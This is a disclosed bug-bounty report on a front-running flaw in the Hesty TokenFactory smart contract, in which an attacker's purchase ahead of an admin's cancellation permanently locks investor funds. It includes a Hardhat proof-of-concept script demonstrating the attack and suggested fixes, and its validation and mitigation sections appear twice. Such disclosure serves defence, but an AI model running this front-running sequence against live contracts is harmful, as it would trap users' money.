Hesty Disclosed Report

Permanent Fund Lock Through Cancel Property Front-Running

Company
Created date
Mar 12 2025

Target

https://github.com/la-bomba-studio/hesty-contract/tree/29596447b9a06d4ad53360d4a15f349ebf9fa0d8

Vulnerability Details

Permanent Fund Lock Through Cancel Property Front-Running

Short Description

The TokenFactory contract's cancelProperty() function can be front-run by an attacker who pushes the total raised amount above the threshold, creating a deadlock where users can neither recover their funds (due to threshold check) nor complete the raise (due to cancelled status), permanently locking all user funds in the contract.

Vulnerability Details

The vulnerability arises from the interaction between three functions and their state checks:

  1. cancelProperty() only modifies approval status and deadline:
// TokenFactory.sol
function cancelProperty(uint256 id) external onlyAdmin {
    property[id].raiseDeadline = 0;
    property[id].approved = false;
    deadProperty[id] = true;

    emit CancelProperty(id);
}
  1. recoverFundsInvested() checks threshold but not approval status:
function recoverFundsInvested(address user, uint256 id) external {
    PropertyInfo storage p = property[id];
    require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
    require(
        p.raised * p.price < p.threshold,  // @audit: Only checks threshold
        "Threshold reached, cannot recover funds"
    );

    uint256 amount = userInvested[user][id];
    userInvested[user][id] = 0;
    rightForTokens[user][id] = 0;

    SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
  1. completeRaise() requires both threshold and approval:
function completeRaise(uint256 id) external onlyAdmin {
    PropertyInfo storage p = property[id];
    require(p.approved && !p.isCompleted, "Canceled or Already Completed");
    require(p.raised * p.price >= property[id].threshold, "Threshold not met");
    // ... rest of function
}

Attack scenario:

  1. Admin attempts to cancel a property that hasn't met threshold
  2. Attacker front-runs cancelProperty() with buyTokens()
  3. Property is now in a deadlocked state:
    • Can't recover: p.raised * p.price >= threshold
    • Can't complete: p.approved = false (and since the property is added to deadProperty it can't be approved back)
    • All user funds are permanently locked

The impact is severe because:

  • All user funds are permanently locked
  • No administrative function can rescue the funds
  • Attack cost is relatively low (just needs to push above threshold)
  • Can affect multiple properties simultaneously

Validation Steps

  1. Deploy contracts and create property:
const TokenFactory = await ethers.getContractFactory("TokenFactory");
const tokenFactory = await TokenFactory.deploy(...);

// Create property
await tokenFactory.createProperty(
    1000,                           // amount
    100,                           // listingTokenFee
    ethers.utils.parseEther("1"),  // price
    ethers.utils.parseEther("800"), // threshold
    USDC.address,
    revenueToken,
    "Property",
    "PROP",
    admin
);
  1. Setup initial state and demonstrate attack:
// Initial investment (700 tokens)
await tokenFactory.connect(user1).buyTokens(
    user1.address,
    0,
    700,
    ZERO_ADDRESS
);

// Get admin's cancelProperty transaction
const cancelTx = await tokenFactory.connect(admin).populateTransaction.cancelProperty(0);

// Front-run with attacker's buyTokens (150 tokens, pushing above threshold)
await tokenFactory.connect(attacker).buyTokens(
    attacker.address,
    0,
    150,
    ZERO_ADDRESS
);

// Admin's cancel transaction goes through
await ethers.provider.sendTransaction(cancelTx);

// Verify deadlocked state
const property = await tokenFactory.property(0);
console.log("Total raised:", property.raised.toString()); // 850 (above threshold)
console.log("Approved:", property.approved); // false
  1. Demonstrate funds are locked:
// Try to recover funds - fails due to threshold
await expect(
    tokenFactory.connect(user1).recoverFundsInvested(user1.address, 0)
).to.be.revertedWith("Threshold reached, cannot recover funds");

// Try to complete raise - fails due to approval
await expect(
    tokenFactory.connect(admin).completeRaise(0)
).to.be.revertedWith("Canceled or Already Completed");

Recommended Mitigation

  1. Add approval check to recoverFundsInvested():
function recoverFundsInvested(address user, uint256 id) external {
    PropertyInfo storage p = property[id];
    require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
    require(
        p.raised * p.price < p.threshold || !p.approved,  // Allow recovery if cancelled
        "Threshold reached and property active"
    );

    uint256 amount = userInvested[user][id];
    userInvested[user][id] = 0;
    rightForTokens[user][id] = 0;

    SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
  1. Prevent new investments after cancellation:
function buyTokens(address onBehalfOf, uint256 id, uint256 amount, address ref) external {
    PropertyInfo storage p = property[id];
    require(p.approved && !deadProperty[id], "Property not active");
    // ... rest of function
}
  1. Consider adding emergency withdrawal function:
function emergencyWithdraw(uint256 id) external onlyAdmin {
    require(deadProperty[id], "Property not cancelled");
    // Allow withdrawal of all funds to return to users
}

Validation steps

Validation Steps

  1. Deploy contracts and create property:
const TokenFactory = await ethers.getContractFactory("TokenFactory");
const tokenFactory = await TokenFactory.deploy(...);

// Create property
await tokenFactory.createProperty(
    1000,                           // amount
    100,                           // listingTokenFee
    ethers.utils.parseEther("1"),  // price
    ethers.utils.parseEther("800"), // threshold
    USDC.address,
    revenueToken,
    "Property",
    "PROP",
    admin
);
  1. Setup initial state and demonstrate attack:
// Initial investment (700 tokens)
await tokenFactory.connect(user1).buyTokens(
    user1.address,
    0,
    700,
    ZERO_ADDRESS
);

// Get admin's cancelProperty transaction
const cancelTx = await tokenFactory.connect(admin).populateTransaction.cancelProperty(0);

// Front-run with attacker's buyTokens (150 tokens, pushing above threshold)
await tokenFactory.connect(attacker).buyTokens(
    attacker.address,
    0,
    150,
    ZERO_ADDRESS
);

// Admin's cancel transaction goes through
await ethers.provider.sendTransaction(cancelTx);

// Verify deadlocked state
const property = await tokenFactory.property(0);
console.log("Total raised:", property.raised.toString()); // 850 (above threshold)
console.log("Approved:", property.approved); // false
  1. Demonstrate funds are locked:
// Try to recover funds - fails due to threshold
await expect(
    tokenFactory.connect(user1).recoverFundsInvested(user1.address, 0)
).to.be.revertedWith("Threshold reached, cannot recover funds");

// Try to complete raise - fails due to approval
await expect(
    tokenFactory.connect(admin).completeRaise(0)
).to.be.revertedWith("Canceled or Already Completed");

Recommended Mitigation

  1. Add approval check to recoverFundsInvested():
function recoverFundsInvested(address user, uint256 id) external {
    PropertyInfo storage p = property[id];
    require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
    require(
        p.raised * p.price < p.threshold || !p.approved,  // Allow recovery if cancelled
        "Threshold reached and property active"
    );

    uint256 amount = userInvested[user][id];
    userInvested[user][id] = 0;
    rightForTokens[user][id] = 0;

    SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
  1. Prevent new investments after cancellation:
function buyTokens(address onBehalfOf, uint256 id, uint256 amount, address ref) external {
    PropertyInfo storage p = property[id];
    require(p.approved && !deadProperty[id], "Property not active");
    // ... rest of function
}
  1. Consider adding emergency withdrawal function:
function emergencyWithdraw(uint256 id) external onlyAdmin {
    require(deadProperty[id], "Property not cancelled");
    // Allow withdrawal of all funds to return to users
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$500
Visibilitypartially
VulnerabilityBlockchain
Participants (4)
company admin
company admin
author
company admin